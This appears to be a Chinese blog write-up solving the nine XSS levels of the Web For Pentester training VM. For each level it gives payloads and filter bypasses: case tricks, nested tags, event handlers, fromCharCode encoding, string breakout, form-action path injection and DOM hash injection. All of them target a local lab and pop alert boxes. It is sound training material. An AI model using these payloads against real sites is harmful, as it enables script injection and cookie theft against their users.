本次做的是Web For Pentester靶機里面的XSS題目,一共有9道題目。
關於靶機搭建參考這篇文章:滲透測試靶機的搭建
第1題(無過濾措施)
首先在后面輸入xss:
http://10.211.55.16/xss/example1.php?name=xss
看到如下頁面:

然后查看下源碼:

感覺這里沒有任何的防御措施,忍不住笑出了聲。

有很多的標簽里面都可以調用HTML的事件屬性來彈窗,為了節約時間,下面我就列舉出一些比較常用的手法。
利用基本的script標簽來彈窗
Payload
<script>alert('xss')</script>
定義和用法
script 標簽用於定義客戶端腳本,比如 JavaScript。
效果圖

利用iframe標簽的的src屬性來彈窗
Payload
<iframe src=javascript:alert('xss')></iframe>
定義和用法
iframe 元素會創建包含另外一個文檔的內聯框架(即行內框架)。
效果圖

利用標簽的href屬性來彈窗
Payload
<a href=javascript:alert('xss')>ggtest</a>
這里就是超鏈接到了:javascript:alert('xss')
效果和瀏覽器直接打開這個地址:javascript:alert('xss')是一樣的
這里還可以使用:javascript:alert(document.cookie) 來彈出當前會話的cookie

定義和用法
標簽定義超鏈接,用於從一張頁面鏈接到另一張頁面。
元素最重要的屬性是 href 屬性,它指示鏈接的目標。
指向國光博客的一個例子:
<a href="http://git.sqlsec.com”>國光博客</a>
效果圖

利用
標簽來彈窗
Payload
<img src=1 onerror=alert('xss')>
這里的src后面是填寫的 是 圖片的地址,為了 測試簡便 這個地址里面我們一般隨便填寫,比如這里我們填寫的就是 1,因為1不是一個正確的值,所以 觸發了后面的 onerror事件(遇到錯誤 就觸發)

當然如果在src里面填寫一個正常的URL的話,就不會彈窗的了,因為onerror的觸發條件是得報錯。

當src后面的值是正確的時候呢,這個還可以用 oneclick事件來觸發彈窗
<img src=http://www.sqlsec.com/favicon.ico onclick=alert('xss')>
這里不論src后面的值 是否正確,只要鼠標點擊,就會觸發 彈窗事件。

類似onerror和onclick的時間有很多種下面
列舉出常見的事件
Windows事件屬性
| 事件 | 作用 |
|---|---|
| onerror | 在錯誤發生時運行的腳本 |
| onload | 頁面結束加載之后觸發 |
Keyboard 事件
| 事件 | 作用 |
|---|---|
| onkeydown | 在用戶按下按鍵時觸發 |
| onkeypress | 在用戶敲擊按鈕時觸發 |
| onkeyup | 當用戶釋放按鍵時觸發 |
鼠標(Mouse)事件
| 事件 | 作用 |
|---|---|
| onclick | 元素上發生鼠標點擊時觸發 |
| onmousedown | 當元素上按下鼠標按鈕時觸發 |
| onmousemove | 當鼠標指針移動到元素上時觸發。 |
| onmouseover | 當鼠標指針移動到元素上時觸 |
| onmouseout | 當鼠標指針移出元素時觸發 |
| onmouseup | 當在元素上釋放鼠標按鈕時觸發 |
定義和用法
img 元素向網頁中嵌入一幅圖像。
請注意,從技術上講,
標簽並不會在網頁中插入圖像,而是從網頁上鏈接圖像。
標簽創建的是被引用圖像的占位空間。
標簽有兩個必需的屬性:src 屬性 和 alt 屬性
凡是支持事件的HTML標簽都是可以彈窗的,在HTML中支持事件屬性的標簽很多,下面我就
列舉出一些支持事件的HTML常見標簽
| 標簽 | 作用 |
|---|---|
| a | 定義超鏈接,用於從一張頁面鏈接到另一張頁面,最重要的屬性是 href 屬性,它指示鏈接的目標 |
| article | 規定獨立的自包含內容一篇文章應有其自身的意義,應該有可能獨立於站點的其余部分對其進行分發 |
| audio | 定義聲音,比如音樂或其他音頻流 |
| b | 規定粗體文本 |
| body | 定義文檔的主體,包含文檔的所有內容 |
| br | 只是簡單地開始新的一行 |
| button | 定義一個按鈕 |
| iframe | 會創建包含另外一個文檔的內聯框架 |
| img | 向網頁中嵌入一幅圖像 |
| select | 可創建單選或多選菜單 |
| style | 用於為 HTML 文檔定義樣式信息 |
| textarea | 標簽定義多行的文本輸入控件 |
| video | 定義視頻,比如電影片段或其他視頻流 |
第一題因為沒有任何的過濾,所以理論上支持調用HTML事件屬性的標簽都是可以成功彈窗的,下面來個
綜合點的payload
http://10.211.55.16/xss/example1.php?name=<button type="button" onclick=alert('xss')>通過按鈕點擊觸發xss</button> <font size="4" color="blue" onmouseover=alert('xss')> 移動到元素觸發xss </font> <br>
<select> <option onclick=alert('x')>onclick點擊觸發事件</option> <option values=1 onmousedown=alert('ss')>onmousedown觸發</option></select> <a href=javascript:alert('xss')>利用a標簽的href屬性觸發</a> <br>
<textarea placeholder=國光的xss測試:鍵盤按鍵觸發xss onkeypress=alert('xss')></textarea>

第2題(大小寫轉換)
這一題的話, 除了<script>alert('xss')</script>這個payload,其他用第一題中的其他payload:
<iframe src=javascript:alert('xss')></iframe>
<a href=javascript:alert('xss')>ggtest</a>
<img src=1 onerror=alert('xss')>
...
依然還是可以的,好吧,為了不這么容易做完這道題目,我們來下面的題目都盡量使用<script>alert('xss')</script>來試試看

查看下源碼:

這里我們猜測過濾<script>和</script>
然后這里嘗試下大小寫轉換,嘗試着繞過過濾:
<Script>alert('xss')</scripT>
可以看到成功繞過了:

第3題(嵌套構造)
直接輸入
<Script>alert('xss')</scripT>
發現大小寫轉換的這個套路已經不能夠使用了

得到結論是:沒有過濾alert('xss'),現在就把注意力集中在 <script> 和</script>上
Fuzz測試一下,看看具體過濾了哪些字符?然后再想辦法繞過。
http://10.211.55.16/xss/example3.php?name=<></>script<script>

可以看出過濾了:</script>和<script>
嘗試構造輸入:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>

查看源碼后發現成功構造出
<script>
於是判斷這里只顧慮了一次,接着嘗試構造如下完整的payload:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>alert('xss')</s</script>cript>

第4題(利用標簽繞過)
直接輸入:<script>alert('xss')</script>發現直接 error 了
於是再次出嘗試輸入:
http://10.211.55.16/xss/example4.php?name=<>alert('xss')</>

再次得出結論:沒有過濾<> </> alerrt('xss'),現在主要想辦法對script做個處理來繞過過濾。
然而我各種編碼都沒有繞過,有的編碼的確是繞過了,但是貌似沒有解析腳本 =,=
哎~~~放棄用這種形式的<script>alert('xss')</script>的payload了,於是乎使用下面的<img>標簽成功繞過:
<img src=1 onerror=alert('xss')>
第5題(String.fromCharCode編碼繞過)
首先執行:
<script>alert('xss')</script>
發現直接就 報 error了,於是fuzz測試發現並沒有過濾:<script>和</script>
只是過濾了:alert
利用火狐瀏覽器的hackbar插件對alert('xss')進行String.fromCharCode轉換:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))</script>

第6題(閉合標簽)
首先默認查看下源碼:

發現我們輸出的hacker作為了一個變量賦值給了a,並且這個變量在<script>這個標簽中
這樣的話,只要能夠突破這個賦值的變量,就可以利用這個<script>這個標簽來彈窗了。
下面想辦法閉合進行fuzz測試......
這里邊看源碼邊做調整。幾次測試后得到如下可以彈窗的payload:
11";</script><img src=1 onerror=alert('xss')><script>

來查看下源碼來簡單的分析一下:
Hello
<script>
var $a= "11";</script><img src=1 onerror=alert('xss')><script>";
</script>
<footer>
<p>© PentesterLab 2013</p>
</footer>
pauyload最前面的
11";</script> 閉合了前面的<script>標簽
最后面的
<script> 閉合了后面的<script>標簽
中間的
<img src=1 onerror=alert('xss')>
用來觸發 彈窗事件
第7題
首先來查看下源碼:

感覺貌似和第6題差不多,於是稍微修改了下使用下面的payload來進行測試:
hacker';</script><img src=1 onerror=alert('xss')><script>
結果並沒有彈窗,趕緊查看下源碼壓壓驚:

可以看到對輸入的 <和/和>符號進行轉義了,導致我們的彈窗失敗。
所以現在的着重點就是 如何處理這些符號:
<和/和>
然而我失敗了,對這些符號進行轉碼也是失敗了,后來想了好久終於知道問題所在了:
受到以前閉合一句話木馬的緣故,我老是想着閉合首尾的標簽
后來仔細想想,這個變量 就在<script>里面,可以在里面直接寫alert('xss')來彈窗的,這樣也就不需要使用
<和/和>特殊符號了。這么看來的話,第6題 也應該這么來做,奇葩的我,居然是閉合的方式來彈窗的....
http://10.211.55.16/xss/example6.php?name=name=";alert('xss');var b="

查看下源碼:
Hello
<script>
var $a= "name=";alert('xss');var b="";
</script>
<footer>
<p>© PentesterLab 2013</p>
</footer>
這里 巧妙的利用了 ; 來在<script>標簽里面執行alert('xss')
第8題
是一個輸入框,然后輸入payload:<img src=1 onerror=alert('xss')>;來試試看,查看源碼:
HELLO <img src=1 onerror=alert('xss')><form action="/xss/example8.php" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
<footer>
<p>© PentesterLab 2013</p>
</footer>
發現也是對 < > 標簽進行轉義了,這里進行各種編碼也沒有繞過。
又是好久也沒有成功突破,最后仔細看源碼,發現突破點在於
<form action="/xss/example8.php"
這是第8題的URL,於是注意力轉移到URL處,嘗試在URL后面添加
http://10.211.55.16/xss/example8.php/
查看源碼:

發現我們最后添加的 :/ 寫在了<form>這個標簽中,於是在這里進行fuzz測試,嘗試閉合標簽,最后構造的payload如下:
http://10.211.55.16/xss/example8.php/"><img src=1 onerror=alert('xss')><form
來查看下源碼來分析剛剛構造的payload:
<form action="/xss/example8.php/"><img src=1 onerror=alert('xss')><form" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
可以看到這里
/"閉合了最前面的<form>
<form> 閉合了最后面的/>
中間的
<img src=1 onerror=alert('xss')> 觸發了彈窗事件
第9題
這一題很特殊,不愧是大boss,這里首先查看下源碼:

在源碼中完全找不到hacker的任何字樣,於是仔細百度最可疑的地方:
<script>
document.write(location.hash.substring(1));
</script>
找到一份資料:http://www.runoob.com/jsref/prop-loc-hash.html
這里可以大概看出這里是讀取#后面的東西,於是乎簡單的在#后面構造xss語句:
http://10.211.55.16/xss/example9.php#<img src=http://www.sqlsec.com/favicon.ico onclick=alert('Bingo')>
最后一道題目了,得錄制個gif來慶祝一下:

小結
雖然這個平台只有9道題目,但是用心去整理拓展,發現可以學到很多xss的姿勢,這樣又把以前快忘記的xss姿勢鞏固提高了一下,更好的為不久后挖BAT的XSS漏洞做好基礎知識的准備。
